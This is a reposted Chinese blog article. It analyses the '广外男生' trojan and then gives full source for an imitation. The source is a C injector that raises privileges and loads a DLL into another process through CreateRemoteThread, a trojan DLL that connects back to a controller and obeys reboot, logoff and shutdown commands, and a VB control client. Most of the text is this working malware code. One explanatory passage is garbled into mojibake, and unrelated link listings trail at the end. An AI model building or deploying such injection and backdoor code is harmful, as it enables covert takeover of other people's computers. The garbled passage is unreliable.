http://pipi.52blog.net/user1/19509/archives/2005/304167.shtml

信息来源:程序园
文章作者:佚名

广外男生是广外程序员网络(前广外女生网络小组)精心制作的一款远程控制软件,是一个专业级的远程控制以及网络监控工具。

而广外男生除了具有一般普通木马应该具有的特点以外,还具备独有的特色:
1.客户端高度模仿WINDOWS资源管理器:除了全面支持访问远程服务端的文件系统,也同时支持通过对方的“网上邻居"访问对方内部网其他机器的共享资源!
2.强大的文件操作功能:可以对远程机器进行建立文件夹,整个文件夹(连子目录,文件)一次删除,支持多选的上传,下载等基本功能。同时特别支持高速远程文件查找,而且可对查找结果进行下载和删除的操作!
3.运用了"反弹端口原理"与"线程插入"技术:使用了目前流行的反弹端口的木马技术,由服务端主动连接客户端,因此在互联网上可以访问到局域网里通过 NAT 代理(透明代理)上网的电脑,轻松穿过防火墙(包括:包过滤型及代理型防火墙)。

广外男生外观比较漂亮(哈,人家毕竟是专门做木马的,^_^),笔者最近初步研究了一下这个较新的木马!按照帮助文件配置了木马,在自己的PC上作实验了……
  广外男生隐藏了服务端,只有运行服务端时,服务端的进程会短时暴露在任务管理器下,不过是一闪而过!根据广外男生的配置,我们可以知道是它运用了DLL注入到远程进程里面!利用dll插入线程寄生到Windows系统进程(如explorer)中,本身没有单独进程。我们利用注册表监测工具查到复制自身到system32目录下,在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run中添加自己,复制寄生到进程的一个DLL到system32目录下,随机写入注册表,位置不固定,重启之后随系统进程启动自身。所以手工查杀很麻烦!DLL之所以位置不固定是由于WINDOWS的原因,DLL是被注册到WINDOWS里,手工注册可以使用regsvr32命令注册,程序也可以实现,不过不在本文讨论范围内。至于端口反弹,很简单,就是服务端连接客户端。广外男生有两种连接方式,一种是面向固定IP的,另一种是面向动态IP的。面向固定IP没什么技术可言,服务端直接连接客户端。面向动态IP的通过中间的代理(因为它的IP是固定的),相当于我们使用的肉鸡,通过配置客户端,生成一个HTM的页面,当然数据是经过加密的。服务端每次启动尝试获取这个文件,把里面的内容解密得到用户最新的IP和连接的端口。主要的代码如下:

char *request="GET /guestbook.htm"; //广外男生默认的生成页面
char buffer[2000];
destSockAddr.sin_family = AF_INET;
destSockAddr.sin_port=htons(80);
deskSocketAddr.Sin_Addr.S_Addr= inet_addr(DEST_IP_ADDR); //代理的IP
destSocket=socket(AF_INET,SOCK_STREAM,0);
connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
send(destSocket,request,strlen(request)+1,0);
recv(destSocket,buffer,2000,0);(续)
 
buffer里就是整个guestbook的内容,当然包括HTTP头部,可以分析里面的内容得到客户机的详细情况!

知道了它的原理,它的神秘面纱很快就被揭开了!我们完全能够用编程实现。为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。程序的关键是利用Kernel32.dll中的LoadLibraryA(W)API获取动态链接库函数入口地址,然后运行该地址以后的代码!由于在主汤锎唇嗽冻滔叱蹋冻滔叱滩凰孀胖鹘痰乃劳龆劳觯挥械彼拗魉劳鍪毕叱滩呕嵬V乖诵校≡诓迦朐断叱讨氨匦胗蠸E_DEBUG_NAME权限才能插入远线程!OK,我们下面用代码来实现!
/*********************************************
*   inject.c =>inject.exe
*   Author: leonshoh Wong 
********************************************/
#i nclude <windows.h>
#i nclude <stdio.h>
#i nclude <tlhelp32.h>
                  
HANDLE hRemoteThread,hRemoteProcess;
DWORD  dwRemoteProcessid;
PWSTR  pszLibFileRemote=NULL;

DWORD ProcesstoPid(char *pid)  //查找指定进程的PID(Process ID)
{
 HANDLE hProcessSnap=NULL;
 char buffer[MAX_PATH];
 PROCESSENTRY32 pe32={0};
 int i;
 hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //打开进程快照
 if(hProcessSnap==(HANDLE)-1)
 {
  printf("/nCreateToolhelp32Snapshot() Error: %d",GetLastError());
  return 0;
 }
 pe32.dwSize=sizeof(PROCESSENTRY32);
 if(Process32First(hProcessSnap,&pe32)) //开始枚举进程
 {
  do
  {
   strcpy(buffer,pe32.szExeFile);
   for(i=strlen(buffer);i>0;i--) //截取进程名
    if(buffer[i]=='//')
     break;
    if(!strcmp(pid,&buffer[i])) //判断是否和提供的进程名相等,是,返回进程的ID
     return pe32.th32ProcessID;
  }
  while(Process32Next(hProcessSnap,&pe32));  //继续枚举进程
 }
 else
 {
  printf("/nProcess32First() Error: %d",GetLastError());
  return 0;
 }
 CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
 return 0;
}

BOOL SetPrivilege()  //本函数用于提升权限,提升到SE_DEBUG_NAME
{
 TOKEN_PRIVILEGES tkp;
 HANDLE hToken;
 if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))        //打开当前进程失败
  return FALSE;
 LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid); //查看当前权限
 tkp.PrivilegeCount = 1;
 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);  //调整权限,如上设置
 return TRUE;
}

int  main()
{
 int   cb;
 PTHREAD_START_ROUTINE pfnstartaddr;
 DWORD Threadid=0;
 char pszlibfilename[MAX_PATH];
 dwRemoteProcessid=ProcesstoPid("notepad.exe"); //得到记事本的PID,当然也可以得到EXPLORER.EXE的PID,不过除非结束它的进程,不然一直驻留在内存中!
 GetCurrentDirectory(MAX_PATH,pszlibfilename); //得到当前的目录路径
 if(pszlibfilename[strlen(pszlibfilename)-1]!='//') //判断是否为根目录
  strcat(pszlibfilename,"file://Trojan.dll/");
 else
  strcat(pszlibfilename,"Trojan.dll"); //连接要插入的动态连接库的文件名(这里是Trojan.dll)
 
 
 if(!SetPrivilege())
 {
  printf("Error in SetPrivilege(): %d/n",GetLastError());
  return 1;
 }
 
 hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessid); //打开notepad.exe的进程得到进程句柄,注意第一个参数(打开句柄设置的权限)
 
 if(!hRemoteProcess)
 {
  printf("Remote Process not Exist or Access Denied/n");
  return -1;
 }
 
 cb=(1+strlen(pszlibfilename))*sizeof(char);  //计算dll文件名长度
 
 pszLibFileRemote=VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE); //申请存放文件名的空间
 
 if(!pszLibFileRemote)     
 {
  printf("VirtualAllocEx() Error: %d",GetLastError());
  return -1;
 }
 
 if(!WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszlibfilename,cb,NULL))  //把dll文件名写入申请的空间
 {
  printf("WriteProcessMemory() Error: %d",GetLastError());
  return -1;
 }
 
 pfnstartaddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA"); //获取动态链接库函数地址
 
 if(!pfnstartaddr)
 {
  printf("GetProcAddress() Error: %d/n",GetLastError());
  return -1;
 }
 
 hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnstartaddr,pszLibFileRemote,0,&Threadid); //创建远程线程,以DLL的文件名为远线程的参数
 printf("inject successfully/n");
 
 if(!hRemoteThread)
 {
  printf("CreateRemoteThread() Error: %d/n",GetLastError());
  return -1;
 }
 
 WaitForSingleObject(hRemoteThread,INFINITE); //等待,其实可以设置一个超时值,这里是无限等待,这句一定要写,不写就要出错,我已经试过了
 if(pszLibFileRemote!=NULL) //以下是清理过程,不必多讲了!
 {
  VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
 }
 if(hRemoteThread !=NULL)
 {
  CloseHandle(hRemoteThread);
 }
 if(hRemoteProcess!=NULL)
 {
  CloseHandle(hRemoteProcess);
 }
 printf("/nDone!");
 return 0;
 
}
好了,把插入的程序写完了,很简单吧!如果感到有点麻烦的话,请准备一本WINAPI的参考手册,以备随时查看。下面我们写一个具有初步木马功能的特洛伊动态连接库。呵呵,还具有端口反弹!用来测试注入程序的正确!这里我们只是用来测试,服务端是用单个线程的,只能连接一次,当然你可以重启服务端!

// Trojan.cpp : Defines the entry point for the DLL application.
/***************************************************************
*  Trojan.c=>Trojan.dll
*  Author:leonshoh Wong
*  E-mail:leonshoh@hackbase.net
***************************************************************/
 
#i nclude <windows.h>
#i nclude <winsock.h>
#define NO_FLAGS_SET 0
#define PORT 80 //远程的连接端口(一般HTTP隧道技术都用这个端口)
#define DEST_IP_ADDR "127.0.0.1" //要连接的远程IP(这里用自己当肉鸡了)
 
int StartSocket();
void recy(char *,int);
void docmd(char *);
BOOL EnablePrivilege(LPTSTR);

void ShowError(char *function)  //提示错误的函数
{
 char buffer[MAX_PATH];
 memset(buffer,0x0,MAX_PATH);
 wsprintf(buffer,"%s Error: %d",function,GetLastError());
 MessageBox(NULL,buffer,"Error",MB_OK);
}

BOOL APIENTRY DllMain( HANDLE hModule,
 DWORD  ul_reason_for_call,
 LPVOID lpReserved
 )   //动态连接库的入口,相当于main()函数
{
 switch(ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  {
   DWORD id;
   CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);
   break;
  }
 default:
  break;
 }
 return TRUE;
}

int StartSocket()
{
 char buffer[25000]; //缓冲区(要足够大,避免缓冲区溢出)
 WSADATA Data;
 SOCKADDR_IN destSockAddr;
 SOCKET destSocket;
 unsigned long destAddr;
 int status,numsnt;
 MessageBox(NULL,"The Dll Injected Successfully!","Success",MB_OK); //提示线程注入代码以成功运行!
 status=WSAStartup(MAKEWORD(1,1),&Data); //启动WINSOCK,这里我们用的版本是1.1,反正一样,WINSOCK向下是兼容的
 if(status)
 {
  ShowError("WSAStartup()");
  return 1;
 }
 destAddr=inet_addr(DEST_IP_ADDR);
 memcpy(&destSockAddr.sin_addr,&destAddr,sizeof(destAddr));
 destSockAddr.sin_family = AF_INET; //这里是Internet
 destSockAddr.sin_port =htons(PORT); //在结构里写入端口
 destSocket=socket(AF_INET,SOCK_STREAM,0); //建立SOCKET
 if(destSocket==INVALID_SOCKET)
 {
  ShowError("socket()");
  return 1;
 }
 do
 {
  status=connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
  Sleep(250);
 }
 while(status==SOCKET_ERROR); //每隔250毫秒,连接客户端,如果连上就继续
 while(TRUE)
 {
  numsnt=recv(destSocket,buffer,strlen(buffer)+1,NO_FLAGS_SET); //接受客户端发来的命令
  buffer[numsnt]=0x0;
  recy(buffer,numsnt); //解析并执行命令
  Sleep(100);
 }
 
 return TRUE;
}
void recy(char *cmd,int num)
{
 char buffer[25000];
 strcpy(buffer,cmd);
 buffer[num+1]=0x0;
 buffer[3]=0x0;
 if(!strcmp(buffer,"cmd")) //比较命令,如果是指令,交给docmd()函数处理
  docmd(&cmd[4]);
 if(!strcmp(buffer,"msg")) //如果是消息,则显示消息
  MessageBox(NULL,&buffer[4],"Alert",MB_OK);
}

BOOL EnablePrivilege(LPTSTR privilege) //提升权限(NT,2K下程序要有足够的权限才能关机)
{
 HANDLE token;
 LUID luid;
 TOKEN_PRIVILEGES tokenPrivileges;
 if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&token))
 {
  ShowError("OpenProcessToken()");
  return FALSE;
 }
 if(!LookupPrivilegeValue(0,privilege,&luid))
 {
  ShowError("LookupPrivilegeValue()");
  return FALSE;
 }
 tokenPrivileges.PrivilegeCount =1;
 tokenPrivileges.Privileges[0].Luid=luid;
 tokenPrivileges.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
 AdjustTokenPrivileges(token,FALSE,&tokenPrivileges,0,0,0);
 return TRUE;
}

void docmd(char *cmd)
{
 if(!strcmp(cmd,"reboot")) //重启计算机
 {
  if(EnablePrivilege(SE_SHUTDOWN_NAME))
   ExitWindowsEx(EWX_REBOOT,0);
 }
 if(!strcmp(cmd,"logoff")) //注销
 {
  if(EnablePrivilege(SE_SHUTDOWN_NAME))
   ExitWindowsEx(EWX_LOGOFF,0);
 }
 if(!strcmp(cmd,"showdown")) //关机
 {
  if(EnablePrivilege(SE_SHUTDOWN_NAME))
   ExitWindowsEx(EWX_FORCE,0);
 }
} 
 
好了,服务端也写好了,我们来测试一下,注意:把EXE和DLL文件放在同一目录下,执行inject.exe,如图3显示:

是不是还少了什么?是呀,客户端,没有客户端怎么控制??也许有人会讲向蓝色火焰一样的木马是可以用telnet连接,不用开发方的客户端,不过这个是端口反弹的木马,不能用客户端去连接服务端。不过,很快,我们用大家都很熟悉的VB写一个客户端,呵呵,用上WINSOCK控件,几句话就解决问题了,好了,开工了!
/*************************************************************
‘* This is the Client of Trojan
‘* Author:leonshoh
‘* E-mail:leonshoh2236@hotmail.com
‘*************************************************************/
Private Sub Form_Load()
logoff.Enabled = False ‘//把所有的按钮控件在连接前设为不可用,避免出错
reboot.Enabled = False
shutdown.Enabled = False
send.Enabled = False
socket.LocalProt = 80 ‘//在80端口监听
socket.Listen ‘//开始监听
End Sub

Private Sub logoff_Click()
socket.SendData "cmd_logoff"
End Sub

Private Sub reboot_Click()
socket.SendData "cmd_reboot"
End Sub

Private Sub send_Click()
socket.SendData "msg_" & Text1.Text
Text1.Text = "" ‘//发完一次消息清空文本框
End Sub

Private Sub shutdown_Click()
socket.SendData "cmd_shutdown"
End Sub    ‘//以上是发送命令到服务端,转交服务端执行

Private Sub socket_ConnectionRequest(ByVal requestID As Long)
If socket.State <> sckClosed Then ‘//接到请求后检查状态,如果socket没有关闭,则关闭
socket.Close
End If
socket.Accept requested ‘//接受客户端请求
MsgBox "The Trojan has connected", vbOKOnly, "Alert" ‘//提示已经连上
logoff.Enabled = True
reboot.Enabled = True
shutdown.Enabled = True
send.Enabled = True //恢复按钮,为可用
End Sub 
 好,我们执行一下写的所有程式,先运行inject.exe再运行Client.exe。看,服务端连上来了,成功了!(图4)

好了,一个简单的DLL注入和端口反弹的木马就实现了!当然,一个强大的木马有很强大的功能,实现这些功能需要懂得很多系统编程方面的细节,具体可以看shotgun的《揭开木马神秘面纱》,对我们很有启发!这里我就不在重复里面的内容了!
  这里,我不是鼓励大家去写木马,而是想说明神秘面纱背后其实也不过如此,由于本人技术有限,错误再所难免,请大家指教

广外男生病毒代码剖析相关推荐

  1. 微信翻译生日快乐的代码_广外,54岁生日快乐!校庆日专属头像上线!

    十一月的第一个星期六对每一位广外人来说都是一个特别的日子--广外校庆日从1965年到2019年广外走过了54年的办学历程今天迎来了54岁生日!在这特别的日子祝福您54岁生日快乐! 我爱广外 I LOV ...

  2. HDFS集中式的缓存管理原理与代码剖析--转载

    原文地址:http://yanbohappy.sinaapp.com/?p=468 Hadoop 2.3.0已经发布了,其中最大的亮点就是集中式的缓存管理(HDFS centralized cache ...

  3. 计算机考研二外,广东外语外贸大学英语考研二外,广外考研二外英语难度如何?...

    如果你想利用业余时间提升一下自己又没有好的选择,那么你可以看先关于下广东外语外贸大学英语考研二外.通过本文的广东外语外贸大学,英语专业考研很难吗?,广外商务英语方向的考研考什么?二外?,广外考研二外英 ...

  4. x264代码剖析(一):图文详解x264在Windows平台上的搭建

    x264代码剖析(一):图文详解x264在Windows平台上的搭建 X264源码下载地址:http://ftp.videolan.org/pub/videolan/x264/ 平台:win7 PC. ...

  5. x264代码剖析(十四):核心算法之宏块编码函数x264_macroblock_encode()

    x264代码剖析(十四):核心算法之宏块编码函数x264_macroblock_encode() 宏块编码函数x264_macroblock_encode()是完成变换与量化的主要函数,而x264_m ...

  6. 广外计算机考研专业课,【广外考研论坛】 21广外各专业考研问题全解答!纯干货!...

    原标题:[广外考研论坛] 21广外各专业考研问题全解答!纯干货! #关于广外报考问题 Q:招生目录上公布的招生人数是最终确定人数的吗? A:研究生招生是头年各招生单位出招生简章,次年教育部才下达招生计 ...

  7. 广外大全国计算机,广外全国计算机等级考试考生人数再创新高

    全国计算机等级考试,简称NCRE(NationalComputer Rank Examination),是由教育部考试中心主办,用于考查应试人员计算机应用知识与技能的全国性计算机水平考试.NCRE考试 ...

  8. x264代码剖析(四):vs2010编译x264错误集锦

    x264代码剖析(四):vs2010编译x264错误集锦 支持VC++平台的x264的最新版本是x264-20091006,接下来就以该版本为例分析编译运行x264过程中遇到的问题以及解决办法. 1. ...

  9. 微信跳一跳刷分代码剖析

    转载地址:http://blog.csdn.net/u013780605/article/details/78945239?ref=myrecommend 感谢学霸提供了这一途径,感谢原作者无私奉献. ...

  10. php+病毒代码,蠕虫病毒VB代码

    Private Sub Form_Load()Dim bd As Byte '存储病毒的变量Dim xx, l, zc, k1, xsDim msg As String '垃圾求职信Dim flpat ...

最新文章

  1. java arraylist 实现原理_Java进阶--深入理解ArrayList实现原理
  2. 【转】c# [Serializable]的作用
  3. IDC机房KVM应用案例分析
  4. QT 基础类结构图及核心库
  5. 夏普打印机SHARP MX-2018UC 发生错误,错误代码:H3-00 解决办法
  6. Pearson相关系数, Spearman相关系数,Kendall相关系数的区别
  7. wps怎么写分段函数_“在Excel中怎么设置分段函数?(有5个分段)“excel折线图颜色...
  8. NAS信令学习笔记 ——GUTI
  9. 自大型人格分析,如何改变自大型性格?
  10. 基于Node.js的3DTiles三维倾斜摄影模型爬虫
  11. 汉堡包菜单_神圣的汉堡包!
  12. 关于网站标签页的logo设置
  13. 利用DFS解决太平洋大西洋水流问题
  14. PDF格式转换、合并、分割、加水印、加页码各种操作,收藏这几个网站就够啦
  15. GMM-HMM孤立词识别
  16. 聪明如我,一眼就看穿了快递小哥的分堆算法
  17. 陈力:传智播客古代 珍宝币 泡泡龙游戏开发第22讲:PHP语法、数据类型(整型、布尔型、浮点型、字符串型)
  18. php 可以编辑treegrid,浅谈EasyUI中编辑treegrid的方法
  19. C语言:卖鸭子问题---递归法实现
  20. 基于神经网络的人工智能,人工智能的实现路径是

热门文章

  1. java调用通用对话框_使用通用对话框
  2. 用c语言实现香农编码,单链表实现香农编码(C++)——二牛原创
  3. 数据结构与算法分析:算法分析
  4. 计算机网络故障排查,计算机网络故障诊断和排除方法
  5. google退出中国市场——g迷怎么办
  6. struts2拦截器添加及xss攻击的处理
  7. table样式设置小结
  8. ant design table样式修改合集
  9. U产品快报 | UK8S支持K8S 1.18版本、URTC新版Webdemo上线等重要更新
  10. 硬盘功率测试软件,CPU功耗检测